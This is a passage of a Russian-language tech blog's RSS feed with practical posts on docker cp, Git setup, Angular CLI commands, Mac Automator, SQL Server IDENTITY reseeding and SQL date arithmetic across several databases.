        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image4-480.webp" alt="Screen Shot 2020-03-28 at 15.40.29" width="600" height="445" style="aspect-ratio:600/445" srcset="https://koz.tv/posts/unity-collaborate/image4-480.webp 480w, https://koz.tv/posts/unity-collaborate/image4.webp 600w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Проект появится на странице проектов.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image5-480.avif 480w, https://koz.tv/posts/unity-collaborate/image5-960.avif 960w, https://koz.tv/posts/unity-collaborate/image5-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image5.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image5-960.webp" alt="Screen Shot 2020-03-28 at 15.41.35" width="2048" height="856" style="aspect-ratio:2048/856" srcset="https://koz.tv/posts/unity-collaborate/image5-480.webp 480w, https://koz.tv/posts/unity-collaborate/image5-960.webp 960w, https://koz.tv/posts/unity-collaborate/image5-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image5.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Выберите его, чтобы увидеть подробности.</p>
<p><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/unity-collaborate/image6-480.avif 480w, https://koz.tv/posts/unity-collaborate/image6-960.avif 960w, https://koz.tv/posts/unity-collaborate/image6-1600.avif 1600w, https://koz.tv/posts/unity-collaborate/image6.avif 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="lazy" decoding="async" src="https://koz.tv/posts/unity-collaborate/image6-960.webp" alt="Screen Shot 2020-03-28 at 15.41.04" width="2048" height="756" style="aspect-ratio:2048/756" srcset="https://koz.tv/posts/unity-collaborate/image6-480.webp 480w, https://koz.tv/posts/unity-collaborate/image6-960.webp 960w, https://koz.tv/posts/unity-collaborate/image6-1600.webp 1600w, https://koz.tv/posts/unity-collaborate/image6.webp 2048w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></p>
<p>Удачи с новым проектом 😉</p>
]]></content:encoded>
    </item>
    <item>
      <title>Автоматизация работы на Mac</title>
      <link>https://koz.tv/ru/posts/avtomatizatsiya-raboty-na-mac/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/avtomatizatsiya-raboty-na-mac/</guid>
      <pubDate>Tue, 10 Dec 2019 00:00:00 GMT</pubDate>
      <description>Привет! Я всегда хотел использовать макбук эффективнее и успевать больше, чем сейчас. И нашёл способ! Эта программа уже есть на вашем Mac, устанавливать ничего…</description>
      <content:encoded><![CDATA[<p>Привет!</p>
<p>Я всегда хотел использовать макбук эффективнее и успевать больше, чем сейчас. И нашёл способ!</p>
<h2>Automator</h2>
<p><a href="https://support.apple.com/ru-ru/guide/automator/welcome" target="_blank" rel="noopener"><picture>
        <source type="image/avif" srcset="https://koz.tv/posts/automate-your-work-on-mac/image1.avif 300w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
        <img loading="eager" decoding="async" src="https://koz.tv/posts/automate-your-work-on-mac/image1.png" alt="Иконка Automator" width="300" height="300" style="aspect-ratio:300/300" srcset="https://koz.tv/posts/automate-your-work-on-mac/image1.webp 300w" sizes="(max-width: 480px) 96vw, (max-width: 960px) 90vw, 1600px">
    </picture></a></p>
<p>Эта программа уже есть на вашем Mac, устанавливать ничего не нужно: введите <a href="https://support.apple.com/ru-ru/guide/automator/welcome" target="_blank" rel="noopener"><strong>Automator</strong></a> в поиске 😉</p>
<p>Она автоматизирует рутинные задачи на Mac. Позже опубликую примеры, как ей пользоваться и успевать больше.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Как скопировать файлы из Docker-контейнера на хост и обратно</title>
      <link>https://koz.tv/ru/posts/kopirovanie-fayla-iz-docker-konteynera-v-lokal-nuyu-papku/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/kopirovanie-fayla-iz-docker-konteynera-v-lokal-nuyu-papku/</guid>
      <pubDate>Mon, 12 Aug 2019 00:00:00 GMT</pubDate>
      <description>docker cp app:/путь/файл . копирует файл из Docker-контейнера на компьютер. Папки, копирование в контейнер, compose, образы, права и частые ошибки.</description>
      <content:encoded><![CDATA[<p>Скопировать файл из контейнера в текущую папку:</p>
<pre><code class="language-bash">docker cp app:/app/config.yml .
</code></pre>
<p><code>app</code> — имя или ID контейнера из <code>docker ps</code>. Первый путь — внутри контейнера, второй — на вашем компьютере. Чтобы сразу переименовать файл, укажите новое имя: <code>./config.backup.yml</code>. Если такой файл уже есть, Docker перезапишет его без вопросов.</p>
<p>Проверено на Docker 29.7 и Docker Compose 5.5 с контейнерами Alpine 3.24 и <code>nginx:alpine</code>.</p>
<h2>Как узнать имя контейнера и путь к файлу</h2>
<pre><code class="language-bash">docker ps -a
docker exec app ls -l /app
</code></pre>
<p><code>docker ps -a</code> показывает и остановленные контейнеры. Путь в контейнере всегда отсчитывается от корня: рабочую директорию <code>docker cp</code> не учитывает. Если WORKDIR контейнера — <code>/app</code>, то <code>app:config.yml</code> означает <code>/config.yml</code>. Полный путь к файлу из WORKDIR покажет <code>docker exec app readlink -f config.yml</code>.</p>
<h2>Как скопировать папку из контейнера</h2>
<pre><code class="language-bash"># ./logs нет: Docker создаст её и положит туда файлы
docker cp app:/app/logs ./logs
# ./backup есть: получится ./backup/logs
docker cp app:/app/logs ./backup
# только содержимое: ./backup/a.log, ./backup/b.log
docker cp app:/app/logs/. ./backup
</code></pre>
<p>Если папки назначения нет, Docker создаёт её и кладёт туда содержимое исходной папки. Если она есть, исходная папка окажется внутри. Исключение — источник с <code>/.</code> на конце: тогда копируется только содержимое. Один слэш на конце (<code>logs/</code>) ничего не меняет.</p>
<h2>Как скопировать файл с хоста в контейнер</h2>
<p>Поменяйте аргументы местами:</p>
<pre><code class="language-bash">docker cp ./settings.yml app:/app/
# получится /srv/static
docker cp ./static app:/srv
# содержимое static попадёт в /var/www
docker cp ./static/. app:/var/www
</code></pre>
<p>Правила для папок те же. Скопированный файл живёт только в этом контейнере: после <code>docker rm</code> или <code>docker compose up --force-recreate</code> его не будет. Файлы, без которых приложение не работает, кладите в образ (<code>COPY</code> в Dockerfile) или в том (volume).</p>
<h2>Как скопировать файл внутри контейнера или между контейнерами</h2>
<p>Скопировать файл внутри контейнера можно обычным <code>cp</code>:</p>
<pre><code class="language-bash">docker exec app cp /app/config.yml /app/config.bak
</code></pre>
<p>Чтобы скопировать файлы между двумя контейнерами, передайте вывод одного <code>docker cp</code> в другой:</p>
<pre><code class="language-bash">docker cp app:/app/logs - | docker cp - other:/tmp
</code></pre>
<h2>Остановленный контейнер тоже подойдёт</h2>
<p><code>docker cp</code> работает с остановленными контейнерами в обе стороны. Если контейнер падает при старте, достаньте из него логи, положите исправленный конфиг и запустите <code>docker start app</code>. Файлы из томов тоже копируются.</p>
<h2>docker compose cp</h2>
<p>В папке с <code>compose.yaml</code> вместо имени контейнера пишите имя сервиса:</p>
<pre><code class="language-bash">docker compose cp web:/app/config.yml .
docker compose cp ./override.yml web:/app/
</code></pre>
<p>Если у сервиса несколько реплик, при копировании в сервис файл попадёт в каждую. При копировании из сервиса Compose возьмёт файл у одной реплики, не обязательно у первой. Нужную выберите через <code>--index</code>:</p>
<pre><code class="language-bash">docker compose cp --index 2 web:/app/config.yml .
</code></pre>
<p>С остановленными сервисами <code>docker compose cp</code> тоже работает.</p>
<h2>Права и владелец файлов</h2>
<p>Права доступа (rwx) сохраняются в обе стороны. Владелец сохраняется только при копировании в контейнер, и только как числа UID и GID.</p>
<p>Из контейнера на хост: файлы принадлежат тому, кто запустил <code>docker cp</code>. Поэтому после <code>sudo docker cp</code> в Linux файлы на хосте принадлежат root. Вернуть их себе:</p>
<pre><code class="language-bash">sudo chown -R &quot;$(id -u):$(id -g)&quot; ./logs
</code></pre>
<p>Чтобы обходиться без <code>sudo</code>, добавьте себя в группу <code>docker</code> (<code>sudo usermod -aG docker $USER</code>) и перелогиньтесь, <a href="https://koz.tv/ru/posts/sozdanie-administratora-v-ubuntu-linux/">как с любой новой группой</a>. Учтите: эта группа даёт на машине права root.</p>
<p>С хоста в контейнер: файлы сохраняют числовые UID и GID, которые были у них на хосте, и <code>sudo docker cp</code> их не меняет. У обычного пользователя Linux это 1000:1000, на Mac — 501:20. Если приложение в контейнере работает под другим пользователем, записать в такой файл оно не сможет: <code>Permission denied</code>. С флагом <code>-a</code> Docker отдаёт файлы пользователю контейнера, тому, что задан в <code>--user</code> или <code>USER</code> в Dockerfile:</p>
<pre><code class="language-bash">docker cp -a ./settings.yml app:/app/
</code></pre>
<p>Если ни <code>--user</code>, ни <code>USER</code> не заданы, <code>-a</code> ничего не меняет. При копировании из контейнера флаг тоже ни на что не влияет. Поменять владельца потом: <code>docker exec -u 0 app chown 1000:1000 /app/settings.yml</code>.</p>
<h2>Как достать файл из образа</h2>
<p><code>docker cp</code> работает только с контейнером, но запускать его не обязательно. <code>docker create</code> создаёт контейнер из образа и ничего не запускает:</p>
<pre><code class="language-bash">docker create --name tmp nginx:alpine
docker cp tmp:/etc/nginx/nginx.conf .
docker rm tmp
</code></pre>
<p>Если у образа нет команды по умолчанию (<code>FROM scratch</code>), Docker ответит <code>no command specified</code>. Передайте любую команду, выполнять её никто не будет:</p>
<pre><code class="language-bash">docker create --name tmp my-image none
</code></pre>
<h2>Как передать tar-архив через -</h2>
<p>Если вместо локального пути написать <code>-</code>, <code>docker cp</code> выдаст tar-архив в stdout или прочитает его из stdin:</p>
<pre><code class="language-bash">docker cp app:/app/logs - &gt; logs.tar
docker cp app:/app/logs - | gzip &gt; logs.tar.gz
tar -c -C ./site . | docker cp - app:/var/www
</code></pre>
<p>При чтении из stdin папка назначения должна существовать, архив в gzip тоже подойдёт. На Mac <code>tar</code> добавляет в архив расширенные атрибуты, и Docker падает с ошибкой <code>xattr &quot;com.apple.provenance&quot;: operation not supported</code>. Упакуйте без них:</p>
<pre><code class="language-bash">COPYFILE_DISABLE=1 tar --no-xattrs -c -C ./site . | docker cp - app:/var/www
</code></pre>
<p>У обычного <code>docker cp ./site/. app:/var/www</code> такой проблемы нет.</p>
<h2>Как скопировать файлы по маске или из tmpfs</h2>
<p>Маски <code>docker cp</code> не раскрывает: <code>docker cp &#39;app:/app/logs/*.log&#39; .</code> закончится ошибкой. В tmpfs он видит пустую папку, а <code>/proc</code>, <code>/sys</code> и <code>/dev</code> не читает вовсе. В таких случаях запустите tar в работающем контейнере:</p>
<pre><code class="language-bash">mkdir -p logs scratch
docker exec app sh -c &#39;cd /app/logs &amp;&amp; tar -c *.log&#39; | tar -x -C ./logs
docker exec app tar -c -C /scratch . | tar -x -C ./scratch
</code></pre>
<p><code>docker exec</code> здесь без <code>-t</code>: с терминалом архив придёт битым.</p>
<h2>Как скопировать файл из контейнера в Windows</h2>
<p>В PowerShell команда та же. Путь с буквой диска Docker считает локальным:</p>
<pre><code class="language-powershell">docker cp app:/app/config.yml C:\Users\me\Desktop
</code></pre>
<h2>Частые ошибки</h2>
<ul>
<li><code>No such container: app</code> — контейнера с таким именем или ID нет, сверьтесь с <code>docker ps -a</code>. Compose называет контейнеры вида <code>project-web-1</code>, а в <code>docker compose cp</code> нужно имя сервиса.</li>
<li><code>Could not find the file /app/config.yml in container app</code> — неверный путь в контейнере. При копировании в контейнер ошибка значит, что нет папки, куда вы копируете: для <code>app:/app/conf/settings.yml</code> это <code>/app/conf</code>. Та же ошибка бывает с путями от WORKDIR, с масками и с файлами в tmpfs.</li>
<li><code>no such directory</code> или <code>invalid output path: directory &quot;…&quot; does not exist</code> — нет папки назначения на хосте или в контейнере. Создайте её через <code>mkdir -p</code>, в контейнере — <code>docker exec app mkdir -p /app/conf</code>.</li>
<li><code>cannot copy directory</code> — вы копируете папку поверх существующего файла.</li>
<li><code>copying between containers is not supported</code> — в обоих аргументах есть двоеточие. Если двоеточие стоит в имени локального файла, допишите в начало <code>./</code>: <code>./backup:1.yml</code>.</li>
<li><code>must specify at least one container source</code> — ни в одном аргументе нет <code>контейнер:</code>.</li>
<li><code>container rootfs is marked read-only</code> — контейнер запущен с <code>--read-only</code>. В его тома копировать можно.</li>
<li>Вместо файла пришла битая ссылка: источник был симлинком, и Docker скопировал саму ссылку. С флагом <code>-L</code> он скопирует файл, на который она указывает.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Настройка Git и первый push</title>
      <link>https://koz.tv/ru/posts/nastroyka-git-i-pervyy-push/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/nastroyka-git-i-pervyy-push/</guid>
      <pubDate>Sat, 04 May 2019 00:00:00 GMT</pubDate>
      <description>Перейдите в локальную директорию проекта и создайте git-репозиторий. Добавьте все файлы в следующий коммит. Проверьте статус git.</description>
      <content:encoded><![CDATA[<p>Перейдите в локальную директорию проекта и создайте git-репозиторий:</p>
<pre><code class="language-bash">git init
</code></pre>
<p>Добавьте все файлы в следующий коммит:</p>
<pre><code class="language-bash">git add .
</code></pre>
<p>Проверьте статус git:</p>
<pre><code class="language-bash">git status
</code></pre>
<p>Создайте первый коммит:</p>
<pre><code class="language-bash">git commit -m &quot;Ваш комментарий&quot;
</code></pre>
<p>Привяжите github-репозиторий и отправьте изменения:</p>
<pre><code class="language-bash"># связать локальный репозиторий с удалённым
git remote add origin &lt;Ссылка на GitHub Repo&gt;

# проверить ссылку
git remote -v

# отправить закоммиченные изменения в удалённый репозиторий
git push -u origin master
</code></pre>
]]></content:encoded>
    </item>
    <item>
      <title>Полезные команды Angular</title>
      <link>https://koz.tv/ru/posts/poleznye-komandy-angular/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/poleznye-komandy-angular/</guid>
      <pubDate>Wed, 01 May 2019 00:00:00 GMT</pubDate>
      <description>Создать новый проект Angular. Обновить приложение и его зависимости. Для разработки, запустить приложение на localhost:4200</description>
      <content:encoded><![CDATA[<p>Создать новый проект Angular</p>
<pre><code class="language-bash">ng new
</code></pre>
<p>Обновить приложение и его зависимости</p>
<pre><code class="language-bash">ng update
</code></pre>
<p>Для разработки, запустить приложение на localhost:4200</p>
<pre><code class="language-bash">ng serve --open
</code></pre>
<p>Сгенерировать новый компонент</p>
<pre><code class="language-bash">ng generate component [имя компонента]
</code></pre>
<p>Установить in-memory Web API</p>
<pre><code class="language-bash">npm install angular-in-memory-web-api --save
</code></pre>
<p><a href="https://ppolyzos.com/2019/01/18/publish-an-angular-web-app-to-azure-using-github-azuredevops-azure-storage-account/" target="_blank" rel="noopener">Публикация Angular в Azure</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>SQL Server: вставка с явным ID и сброс автоинкремента (IDENTITY)</title>
      <link>https://koz.tv/ru/posts/ms-sql-vstavka-v-seredinu-tablitsy-i-sbros-avtoinkrementa/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/ms-sql-vstavka-v-seredinu-tablitsy-i-sbros-avtoinkrementa/</guid>
      <pubDate>Sun, 28 Apr 2019 00:00:00 GMT</pubDate>
      <description>SET IDENTITY_INSERT вставляет строку с нужным ID, DBCC CHECKIDENT сбрасывает автоинкремент. Почему после RESEED 0 следующая строка получает то 0, то 1.</description>
      <content:encoded><![CDATA[<p>Чтобы вставить строку с конкретным значением в столбец <code>IDENTITY</code>, например заполнить дыру после удалённой строки:</p>
<pre><code class="language-sql">SET IDENTITY_INSERT dbo.Tool ON;

-- Список столбцов обязателен
INSERT INTO dbo.Tool (ID, Name)
VALUES (3, &#39;Garden shovel&#39;);

SET IDENTITY_INSERT dbo.Tool OFF;
</code></pre>
<p>Чтобы после удаления всех строк через <code>DELETE</code> нумерация снова началась с 1 (для <code>IDENTITY(1,1)</code>):</p>
<pre><code class="language-sql">-- Таблицу очистили через DELETE: следующий ID будет 0 + 1
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, 0);
</code></pre>
<p>Если таблицу очистили через <code>TRUNCATE TABLE</code>, та же команда даст следующей строке ID 0. Подробности ниже.</p>
<h2>Правила IDENTITY_INSERT</h2>
<ul>
<li>Без списка столбцов вставка падает с ошибкой 8101: <code>An explicit value for the identity column in table &#39;MyDb.dbo.Tool&#39; can only be specified when a column list is used and IDENTITY_INSERT is ON.</code> Со списком, но при выключенном <code>IDENTITY_INSERT</code> — с ошибкой 544: <code>Cannot insert explicit value for identity column in table &#39;Tool&#39; when IDENTITY_INSERT is set to OFF.</code></li>
<li>В одном сеансе <code>IDENTITY_INSERT</code> включается только для одной таблицы. Если включить его для второй, SQL Server ответит ошибкой и назовёт таблицу, где он уже включён.</li>
<li>Если вставить значение больше текущего счётчика, SQL Server передвинет счётчик: после ручной вставки ID 1000 следующий автоматический ID будет 1001.</li>
<li>Нужно быть владельцем таблицы или иметь на неё право <code>ALTER</code>.</li>
</ul>
<h2>DBCC CHECKIDENT RESEED: 0 или 1</h2>
<p>После <code>DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, N)</code> следующая строка получит:</p>
<table>
<thead>
<tr>
<th>Таблица</th>
<th>Следующий ID</th>
</tr>
</thead>
<tbody><tr>
<td>в неё ещё ни разу не вставляли строки или её очистили через <code>TRUNCATE TABLE</code></td>
<td>N</td>
</tr>
<tr>
<td>в ней есть строки или её очистили через <code>DELETE</code></td>
<td>N + шаг</td>
</tr>
</tbody></table>
<p>Откаченная вставка считается удалённой строкой: следующий ID будет N + шаг.</p>
<p>После <code>TRUNCATE TABLE</code> команда <code>CHECKIDENT</code> не нужна: <code>TRUNCATE</code> сам сбрасывает счётчик к начальному значению из определения таблицы.</p>
<h2>Проверить и поправить счётчик</h2>
<pre><code class="language-sql">-- Текущий счётчик и наибольший ID в столбце; ничего не меняет
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, NORESEED);

-- Текущее значение счётчика
SELECT IDENT_CURRENT(&#39;dbo.Tool&#39;);

-- Если счётчик меньше наибольшего ID, поднять его до наибольшего ID
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED);
</code></pre>
<p><code>RESEED</code> без числа счётчик не уменьшает. После удаления последних строк уменьшите его в два шага: поставьте маленькое значение, потом <code>RESEED</code> поднимет его до наибольшего оставшегося ID:</p>
<pre><code class="language-sql">DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED, 0);
DBCC CHECKIDENT (&#39;dbo.Tool&#39;, RESEED);
</code></pre>
<p>Не ставьте счётчик ниже наибольшего ID в таблице со строками. С ограничением <code>PRIMARY KEY</code> или <code>UNIQUE</code> следующие вставки упадут с ошибкой 2627. Без ограничения появятся повторяющиеся ID.</p>
<p>Для <code>DBCC CHECKIDENT</code> нужно быть владельцем схемы или состоять в <code>sysadmin</code>, <code>db_owner</code> или <code>db_ddladmin</code>.</p>
<h2>Что не сработает</h2>
<ul>
<li><code>UPDATE dbo.Tool SET ID = 5 WHERE ID = 3</code> падает с <code>Cannot update identity column &#39;ID&#39;.</code> Чтобы поменять ID, вставьте копию строки через <code>IDENTITY_INSERT</code> и удалите старую.</li>
<li><code>CHECKIDENT</code> не перенумеровывает существующие строки и не меняет начальное значение из определения таблицы. Для этого придётся пересоздать столбец.</li>
<li>Дыры в нумерации — норма: откаченные транзакции и перезапуски сервера пропускают значения. В SQL Server 2017 и новее кеш, из-за которого номера прыгают после перезапуска, выключается командой <code>ALTER DATABASE SCOPED CONFIGURATION SET IDENTITY_CACHE = OFF;</code>. Но если нужны номера без пропусков, храните их в отдельном столбце.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Текущая дата минус день, месяц или год в SQL</title>
      <link>https://koz.tv/ru/posts/sql-zapros-dlya-tekuschey-daty-minus-god-mesyats-den-ili-min/</link>
      <guid isPermaLink="true">https://koz.tv/ru/posts/sql-zapros-dlya-tekuschey-daty-minus-god-mesyats-den-ili-min/</guid>
      <pubDate>Tue, 09 Oct 2018 00:00:00 GMT</pubDate>
      <description>SQL Server: DATEADD(day, -1, GETDATE()) и то же для месяцев и лет. Фильтр «за вчера», который не ломает индекс, и аналоги для PostgreSQL, MySQL, SQLite, Oracle.</description>
      <content:encoded><![CDATA[<p>В SQL Server из даты вычитают функцией <code>DATEADD</code> с отрицательным числом. Отдельной <code>DATESUB</code> в T-SQL нет:</p>
<pre><code class="language-sql">SELECT DATEADD(day,    -1, GETDATE());  -- сейчас минус 1 день
SELECT DATEADD(month,  -1, GETDATE());  -- сейчас минус 1 месяц
SELECT DATEADD(year,   -1, GETDATE());  -- сейчас минус 1 год
SELECT DATEADD(minute, -30, GETDATE()); -- сейчас минус 30 минут
</code></pre>
<p>Синтаксис: <code>DATEADD(datepart, number, date)</code> (<a href="https://learn.microsoft.com/ru-ru/sql/t-sql/functions/dateadd-transact-sql" target="_blank" rel="noopener">документация Microsoft</a>). С положительным числом дата сдвигается вперёд: <code>DATEADD(month, 5, GETDATE())</code> — дата через пять месяцев.</p>
<p>Разницу между двумя датами считает <code>DATEDIFF(day, @from, @to)</code>: это число дней между ними. Функция считает переходы через границу периода, а не полные периоды, поэтому <code>DATEDIFF(year, &#39;20251231&#39;, &#39;20260101&#39;)</code> вернёт 1, хотя прошёл один день.</p>
<h2>Вчерашняя дата без времени</h2>
<p><code>GETDATE()</code> возвращает дату вместе со временем. Чтобы получить вчерашнюю дату, сначала приведите значение к <code>date</code>:</p>
<pre><code class="language-sql">-- сегодня, без времени
SELECT CAST(GETDATE() AS date);

-- вчера
SELECT DATEADD(day, -1, CAST(GETDATE() AS date));

-- вчера, SQL Server 2025
SELECT DATEADD(day, -1, CURRENT_DATE);
</code></pre>
<p>С SQL Server 2025 в T-SQL есть функция <code>CURRENT_DATE</code>: она делает то же, что <code>CAST(GETDATE() AS date)</code>, и возвращает <code>date</code> (<a href="https://learn.microsoft.com/ru-ru/sql/t-sql/functions/current-date-transact-sql" target="_blank" rel="noopener">документация Microsoft</a>). Есть она и в Azure SQL Database, и в Azure SQL Managed Instance. В SQL Server 2022 и более ранних версиях её нет: 2022 отвечает ошибкой «Incorrect syntax near the keyword &#39;CURRENT_DATE&#39;».</p>
<p><code>DATEADD</code> возвращает тот же тип, что получил: <code>datetime</code> для <code>GETDATE()</code>, <code>date</code> для <code>date</code>. Строку SQL Server читает как <code>datetime</code>, поэтому пишите её в формате <code>&#39;yyyymmdd&#39;</code>: если язык сеанса русский, немецкий или британский, <code>&#39;2026-11-03&#39;</code> превратится в 11 марта.</p>
<h2>GETDATE минус 1 день в WHERE</h2>
<p>Записи за последние 24 часа:</p>
<pre><code class="language-sql">SELECT * FROM Orders
WHERE CreatedAt &gt;= DATEADD(day, -1, GETDATE());
</code></pre>
<p>Записи за вчера, с полуночи до полуночи:</p>
<pre><code class="language-sql">SELECT * FROM Orders
WHERE CreatedAt &gt;= DATEADD(day, -1, CAST(GETDATE() AS date))
  AND CreatedAt &lt;  CAST(GETDATE() AS date);
</code></pre>
<p>Столбец не оборачивайте в функции, арифметику держите по другую сторону от знака сравнения. Я сравнил планы на SQL Server 2022 с индексом по <code>CreatedAt</code>: такой диапазон даёт Index Seek, а <code>DATEDIFF(day, CreatedAt, GETDATE()) = 1</code> и <code>CONVERT(varchar, CreatedAt, 120)</code> читают индекс целиком. <code>CAST(CreatedAt AS date) = ...</code> — исключение, с ним SQL Server тоже ищет по индексу. Но полуоткрытый интервал <code>&gt;= начало AND &lt; конец</code> одинаково работает в любой СУБД.</p>
<p>С переменной <code>DECLARE @today date</code> индекс может не сработать: оптимизатор строит план, не зная её значения, и считает, что под условие попадёт фиксированная доля таблицы. В моём тесте <code>SELECT *</code> с переменной прочитал весь кластерный индекс. Если переменная нужна, допишите <code>OPTION (RECOMPILE)</code>.</p>
<p>Не закрывайте день условием <code>BETWEEN ... AND &#39;23:59:59.999&#39;</code>: при сравнении с <code>datetime</code> строка <code>&#39;23:59:59.999&#39;</code> округлится до следующей полуночи, и в выборку попадут строки ровно на 00:00:00 сегодняшнего дня.</p>
<h2>Текущая дата минус год или месяц</h2>
<pre><code class="language-sql">-- тот же день год назад
SELECT DATEADD(year, -1, CAST(GETDATE() AS date));

SELECT DATEADD(month, -1, &#39;20260331&#39;); -- 2026-02-28 00:00:00.000
SELECT DATEADD(year, -1, &#39;20280229&#39;);  -- 2027-02-28 00:00:00.000
</code></pre>
<p>Если такого числа в нужном месяце нет, <code>DATEADD</code> вернёт последний день месяца.</p>
<p>В SQL Server 2022 появилась функция <code>DATETRUNC</code>, она считает начало месяца:</p>
<pre><code class="language-sql">-- начало этого месяца
SELECT DATETRUNC(month, GETDATE());

-- начало прошлого месяца
SELECT DATEADD(month, -1, DATETRUNC(month, GETDATE()));

-- последний день прошлого месяца
SELECT EOMONTH(GETDATE(), -1);
</code></pre>
<p>В старых версиях берите связку <code>DATEADD</code> и <code>DATEDIFF</code> из поста <a href="https://koz.tv/ru/posts/nachalo-mesyatsa-iz-daty-v-ms-sql-protivopolozhnost-funktsii/">про начало месяца в MS SQL</a>.</p>
<h2>GETDATE, SYSDATETIME или CURRENT_TIMESTAMP</h2>
<ul>
<li><code>CURRENT_TIMESTAMP</code> — ANSI-имя для <code>GETDATE()</code>: тот же <code>datetime</code> с точностью около 3 мс. Текущий timestamp минус день — <code>DATEADD(day, -1, CURRENT_TIMESTAMP)</code>.</li>
<li><code>SYSDATETIME()</code> возвращает <code>datetime2(7)</code>, у секунд в нём семь знаков после запятой.</li>
<li><code>GETUTCDATE()</code> и <code>SYSUTCDATETIME()</code> возвращают время в UTC. Azure SQL Database по умолчанию работает в UTC, поэтому там и <code>GETDATE()</code> вернёт UTC.</li>
</ul>
<h2>Значения datepart</h2>
<ul>
<li><code>year</code> (<code>yy</code>, <code>yyyy</code>) — год</li>
<li><code>quarter</code> (<code>qq</code>, <code>q</code>) — квартал</li>
<li><code>month</code> (<code>mm</code>, <code>m</code>) — месяц</li>
<li><code>dayofyear</code> (<code>dy</code>, <code>y</code>) — день года</li>
<li><code>day</code> (<code>dd</code>, <code>d</code>) — день</li>
<li><code>week</code> (<code>wk</code>, <code>ww</code>) — неделя</li>
<li><code>weekday</code> (<code>dw</code>, <code>w</code>) — день недели</li>
<li><code>hour</code> (<code>hh</code>) — час</li>
<li><code>minute</code> (<code>mi</code>, <code>n</code>) — минута</li>
<li><code>second</code> (<code>ss</code>, <code>s</code>) — секунда</li>
<li><code>millisecond</code> (<code>ms</code>) — миллисекунда</li>
<li><code>microsecond</code> (<code>mcs</code>) — микросекунда</li>
<li><code>nanosecond</code> (<code>ns</code>) — наносекунда</li>
</ul>
<p>В <code>DATEADD</code> значения <code>dayofyear</code>, <code>day</code> и <code>weekday</code> одинаково прибавляют дни. <code>microsecond</code> и <code>nanosecond</code> не работают с <code>datetime</code>, а значит и с <code>GETDATE()</code>.</p>
<h2>Текущая дата минус день в PostgreSQL, MySQL, SQLite и Oracle</h2>
<p>Запросы для PostgreSQL 16, MySQL 8.4 и SQLite 3.51 я прогнал сам, Oracle сверил с документацией.</p>
<h3>PostgreSQL</h3>
<pre><code class="language-sql">SELECT CURRENT_DATE - 1;                  -- сегодня минус день
SELECT now() - interval &#39;1 day&#39;;          -- сейчас минус сутки
SELECT CURRENT_DATE - interval &#39;1 month&#39;; -- сегодня минус месяц
</code></pre>
<p>Дата минус интервал даёт <code>timestamp</code>: <code>CURRENT_DATE - INTERVAL &#39;1 day&#39;</code> — это вчерашняя полночь. Нужна дата — допишите <code>::date</code>.</p>
<h3>MySQL</h3>
<pre><code class="language-sql">SELECT DATE_SUB(CURDATE(), INTERVAL 1 DAY);   -- сегодня минус день
SELECT NOW() - INTERVAL 1 DAY;                -- сейчас минус сутки
SELECT DATE_SUB(CURDATE(), INTERVAL 1 MONTH); -- сегодня минус месяц
</code></pre>
<p>Не пишите <code>CURDATE() - 1</code>: MySQL превратит дату в число, и 1 ноября получится <code>20261100</code>.</p>
<h3>SQLite</h3>
<pre><code class="language-sql">SELECT date(&#39;now&#39;, &#39;-1 day&#39;);     -- сегодня минус день
SELECT datetime(&#39;now&#39;, &#39;-1 day&#39;); -- сейчас минус сутки
SELECT date(&#39;now&#39;, &#39;-1 month&#39;);   -- сегодня минус месяц
</code></pre>
<p><code>&#39;now&#39;</code> — это UTC, для местного времени добавьте <code>&#39;localtime&#39;</code>. <code>date(&#39;2026-03-31&#39;, &#39;-1 month&#39;)</code> вернёт <code>2026-03-03</code>. С версии 3.46 добавьте последним аргументом <code>&#39;floor&#39;</code> и получите <code>2026-02-28</code>.</p>
<h3>Oracle</h3>
<pre><code class="language-sql">SELECT TRUNC(SYSDATE) - 1 FROM dual;             -- сегодня минус день
SELECT SYSDATE - 1 FROM dual;                    -- сейчас минус сутки
SELECT ADD_MONTHS(TRUNC(SYSDATE), -1) FROM dual; -- сегодня минус месяц
</code></pre>
<p>Число здесь означает дни, поэтому <code>SYSDATE - 1/24</code> — час назад. Год назад — <code>ADD_MONTHS(SYSDATE, -12)</code>. <code>SYSDATE - INTERVAL &#39;1&#39; MONTH</code> 31 марта упадёт с ошибкой: 31 февраля не бывает.</p>
<h2>Где ошибаются в T-SQL</h2>
<ul>
<li><code>GETDATE() - 1</code> работает с <code>datetime</code>, а <code>SYSDATETIME() - 1</code> падает с ошибкой «Operand type clash: datetime2 is incompatible with int». Берите <code>DATEADD</code>.</li>
<li><code>CURRENT_DATE - 1</code> работает в PostgreSQL, но в T-SQL к <code>date</code> нельзя прибавить число: SQL Server 2025 выдаст ошибку «Operand type clash: date is incompatible with int». Пишите <code>DATEADD(day, -1, CURRENT_DATE)</code>.</li>
<li><code>m</code> — это месяц, а не минута. Минута — <code>mi</code> или <code>n</code>.</li>
